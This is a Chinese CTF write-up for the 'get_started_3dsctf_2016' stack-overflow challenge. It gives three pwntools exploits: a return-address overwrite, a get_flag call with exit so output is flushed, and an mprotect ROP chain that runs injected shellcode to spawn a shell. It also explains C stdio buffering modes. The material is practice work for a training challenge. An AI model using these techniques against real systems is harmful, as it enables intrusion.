#

栈溢出,查看漏洞函数。

image-20240120114902316

我们可以直接将程序控制流转移到打开文件来绕过if语句

exp

1
2
3
4
5
6
7
8
9
from pwn import *
#sh= remote("node5.buuoj.cn",26045)
sh = process('./get_started_3dsctf_2016')

addr=0x080489b8
offset = 56
payload = b'A'*offset+p32(addr)
sh.sendline(payload)
print(sh.recv())

image-20240120133100503

但是远程打不通,百度得知linux缓冲有三种,Linux平台对设备文件默认开启行缓冲,对磁盘文件默认开启全缓冲

1)全缓冲。输入或输出缓冲区被填满,会进行实际I/O操作。其他情况,如强制刷新、进程结束也会进行实际I/O操作。

对于读操作来说,当读入内容的字节数等于缓冲区大小或者文件已经到达结尾,或者强制刷新,会进行实际的I/O操作,将外存文件内容读入缓冲区;对于写操作来说,当缓冲区被填满或者强制刷新,会进行实际的I/O操作,缓冲区内容写到外存文件中。磁盘文件操作通常是全缓冲的。

(2)行缓冲。输入或输出缓冲区遇到换行符会进行实际I/O操作。其他与全缓冲相同。

(3)无缓冲。没有缓冲区,数据会立即读入内存或者输出到外存文件和设备上。标准错误输出stderr是无缓冲的,这样保证错误信息能够及时反馈给用户,供用户排除错误。

C的全缓冲、行缓冲和无缓冲-腾讯云开发者社区-腾讯云 (tencent.com)

由于putchar不输出换行符,无法刷新缓冲流,因此我们要正确退出程序或者输出换行符使得flag得以输出。

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#! /usr/bin/env python3
from pwn import *

io=remote('node5.buuoj.cn',29430)
#io=process('./get_started_3dsctf_2016')
context.log_level = 'debug'

get_flag=0x80489A0
arg_1=0x308CD64F
arg_2=0x195719D1
exit=0x0804E6A0

payload=b'a'*0x38+p32(get_flag)+p32(exit)+p32(arg_1)+p32(arg_2)


io.sendline(payload)


io.recv()

exp3

这题由于是静态链接,可以通过mprotect函数修改内存的读写权限

由于是32位程序,通过栈传递参数,我们选取三个pop指令来pop掉参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#! /usr/bin/env python3
from pwn import*
sh=process("./get_started_3dsctf_2016")
context(log_level='debug',arch='i386',os='linux')
elf=ELF("get_started_3dsctf_2016")
mprotect=elf.symbols['mprotect']
buf = 0x80ea000
pop3_ret=0x0804f460
read_addr=elf.symbols['read']
gets_addr=elf.symbols['gets']

payload=56*b'a'+p32(mprotect)+p32(pop3_ret)+p32(buf)+p32(0x1000)+p32(0x7)
#payload+=p32(read_addr)+p32(buf)+p32(0)+p32(buf)+p32(0x100)
payload+=p32(gets_addr)+p32(buf)+p32(buf)
gdb.attach(sh)
sh.sendline(payload)
#gdb.attach(sh)
shellcode = asm(shellcraft.sh())
sh.sendline(shellcode)

sh.interactive()